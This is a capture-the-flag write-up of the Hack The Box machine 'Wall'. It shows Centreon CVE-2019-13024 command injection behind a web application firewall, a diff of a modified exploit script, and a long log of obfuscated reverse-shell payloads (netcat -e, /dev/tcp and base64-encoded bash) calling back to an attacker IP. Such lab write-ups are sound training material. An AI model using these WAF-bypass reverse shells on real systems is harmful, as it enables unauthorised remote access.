[HTB] Wall Writeup
Introduction
Today Wall retired, its both my and Trump’s favourite box, it involves bypassing a WebAppFirewall to exploit a CVE in an open source network manager. Its my first HTB writeup, not used to blogging, its an attempt on work on it. Lets hack the box:
echo "10.10.10.157 box" >> /etc/hosts
Port Enumeration
Lets start with a classic nmap scan:
Nmap 7.80 scan initiated Thu Nov 21 03:19:36 2019 as: nmap -sC -sV -oA box box
Nmap scan report for box (10.10.10.157)
Host is up (0.063s latency).
rDNS record for 10.10.10.157: Wall.htb
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Thu Nov 21 03:19:59 2019 -- 1 IP address (1 host up) scanned in 23.56 seconds
Nothing intresting so far, higher lever ports are closed, so I presume most of the work will be on the web service.
Web Enumeration
Root URI give us default apache. lets check for more.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
-u http://box:80 -o gobust.box && cat gobust.box
/aa.php (Status: 200)
prints "1"
/monitoring (Status: 401)
Intresting admin panel
/panel.php (Status: 200)
prints "Just a test for php file !"
/server-status (Status: 403)
Forbidden
From there, was a bit lost tbh, tried to naturaly bruteforce the panel with hydra, nothing pops up, enumerate more but nothing standed out, its the part I disliked the most of this box but had to check the forum, and from there, I knew I had to change the request method to one of the gobust result, doing a POST request to /monitoring with burp:
A bit CTFy but its fine, at least its not the whole box. From there we get a new URL, /centreon, its an open source centralised system to monoitor network infrastructure, and we faced its login API. Immediatly googled the version, and the first link is a CVE-2019-13024, where the author of the post is also the author of the box @askar, from there I knew I was going to the right direction, If you need more detail about the CVE, I invite you to visit his excellent article which detail the process of finding the vulnerability and exploit it.
The Exploit requires to have the credentials, so after several attempts at manual fuzzing for the password field, we get admin:password1 and we are in.
Reading the article, we conclude that one field in the pollers section of the centreon web interface is injecting code.
So after an attempt to spawn a reverse shell we get a Forbidden.
Wanted to be sure we were facing a WAF, so used a tool to detect them, by sending requests to trigger blacklisted words.
I found that curious that the Waf works only on the centreon URL, makes me think that the admin knew about the CVE and decided to put a WAF to protect it from exploitation, hopefully its a temporary mitigation.
So our goal now is to bypass that WAF, How? first enumerate what triggers it, modified the exploit so I could send payload from the command line, and be able to quickly test multiple entries and keep track of the results on a file.
Here are the modifications:
root@Zakali~/ROOTED/Wall# diff centreon-exploit.py. modified_exploit.py
23c23
< print("[~] Usage : ./centreon-exploit.py url username password ip port")
---
> print("[~] Usage : ./centreon-exploit.py url username password payload")
29,31d28
< ip = sys.argv[4]
< port = sys.argv[5]
<
32a30
> payload = sys.argv[4]
55c53
< poller_soup = BeautifulSoup(poller_html)
---
> poller_soup = BeautifulSoup(poller_html,features="lxml")
69c67
< "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
---
> "nagios_bin": payload,
83,84d80
<
<
86d81
<
89,90c84,93
< print("[+] Check you netcat listener !")
---
> print(send_payload.text)
> with open("WAF_blacklist","a") as f:
> f.write("\n" +payload+" ")
> if "403 Forbidden" in send_payload.text :
> print(" WAF WAF!")
> f.write("Blacklisted.")
> else :
> print(" Bypassed WAF")
> f.write("Bypassed")
96,97c99,103
< request.post(generate_xml_page, xml_page_data)
<
---
> # Last post always pass the WAF
> Resp=(request.post(generate_xml_page, xml_page_data).text)
> print(Resp)
> a=BeautifulSoup(Resp,features="lxml")
> print(a.findAll(id="debug_1")[0].text)
So now every attempt is stored in WAF_blacklist file, before manual fuzzing, wanted to let something run on the background, wanted to see what binaries I will be able to access. So I naively tried every binary I had.
ls /usr/bin/ | xargs -i bash -c "./modified_exploit.py admin password1 '{}'" &
The result was the only binary blacklisted was nc, space character too.
Here is the list of attempts, until you could see, in the end the final solution for a good payload obfuscation that ultimately spawned a shell. First attempts was playing with variables, unfortunatly I discovered later that you could see the output of your payload, the box had the patched nc version that removes the -e option.
S=${IFS};I=10.10.14.112;P=1234;N=ncat;$N$S$I$S$P Bypassed
S=${IFS};I=10.10.14.112;P=1234;N=ncat;$N$S$I$S$P Bypassed
S=${IFS};I=10.10.14.112;P=1234;N=necat;$N$S$I$S$P Bypassed
S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P Bypassed
S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P Bypassed
S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
$(S=${IFS};D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S/bin/bash;yes) Bypassed
$(S=${IFS};D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S/bin/bash;yes) Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
/bin/bash Bypassed
/bin/bash Blacklisted.
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
$(S=${IFS};B=/bin/bash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B;yes) Bypassed
$(S=${IFS};B=/bin/bash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B;yes) Bypassed
$(S=
;B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS;yes) Blacklisted.
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS;yes) Bypassed
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS;yes) Bypassed
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS) Bypassed
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS) Bypassed
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS) Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS) Bypassed
S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS Bypassed
S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS Bypassed
$(S=${IFS};B=/bin/b;AS=ash;D=-e;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B$AS;yes) Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P) Bypassed
S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P Bypassed
S=${IFS};D=-e;B=/bin/bash;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P Bypassed
S=${IFS};D=-e;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P Bypassed
S=${IFS};D=-e;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S$B Bypassed
S=${IFS};D=-e;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S Bypassed
S=${IFS};D=-e;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$D$S Bypassed
S=${IFS};D=-e;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S< Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S< Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S< Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P$S$E$S$B Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$E$S$B$S|$S$N$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$E$S$B$S|$S$N$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$E$S$D$S|$S$N$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$E$S$D$S|$S$N$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=/bin/sh;I=10.10.14.112;P=1234;N=netcat;$S$N$S$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=sh;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=sh;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=nc;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=nc.traditional;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=nc.traditional;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=ncat.traditional;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=ncat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;/bin/$B$S$D>&/dev/tcp/$I/$P$S0>&1 Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;/bin/$B$S$D>&/dev/tcp/$I/$P$S0>&1 Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;L=0>&1;/bin/$B$S$D>&/dev/tcp/$I/$P$S$L Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;L=0>&1;/bin/$B$S$D>&$S/dev/tcp/$I/$P/$S$L Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;python Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;ls Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;whoami Bypassed
whoami Bypassed
whoami\\ Blacklisted.
whoami Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;ls Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;F=/usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG;cat
Blacklisted.
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;$B$S$D$S/dev/tcp/10.10.14.112/1234 0>&1 Blacklisted.
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;$B$S$D$S/dev/tcp/10.10.14.112/1234$S0>&1 Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;L=0>&1;$B$S$D$S/dev/tcp/10.10.14.112/1234$S$L Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;socat Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;socat$S--help Bypassed
S=${IFS};D=-i;E=echo;B=bash;I=10.10.14.112;P=1234;python Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=ncat.traditional;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};D=-e;E=echo;B=bash;I=10.10.14.112;P=1234;N=netcat;$S$N$S$D$S$B$S$I$S$P$S Bypassed
S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
bash Bypassed
bash&&/usr/bin/centengin Bypassed
&& $(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Blacklisted.
;$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B Bypassed
$(S=${IFS};I=10.10.14.112;P=1234;N=netcat;$N$S$I$S$P;yes) Bypassed
a Bypassed
whoami Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B Bypassed
====> Spawned a Shell!!
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
$(S=${IFS};P=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTIvMTIzNCAwPiYxCg==;D=-d;B=bash;echo${IFS}$P|base64$S$D|$B) Bypassed
As you can see, the best payload was base64 encoding a bash reverse shell, and using variables to store every part of the command, and using the bash ${IFS} variable that outputs a space character, thanks to this article about IFS
Its may be not the best payload, but its working, I’m not complaining!
From there we get a shell as www-data, after some enumeration we find an outdated screen binary, the exploit gives insta root.
Conclusion
Thanks @askar for your article, learned alot. WAF bypassing was fun, had huge dopamine rush when the shell popped.
Patch your web apps, dont relay on WAFS to protect you from vulnerabilities, WAF is not a complete security feature, its just complementary, it slows down potential attacks and notify you at best.
tags: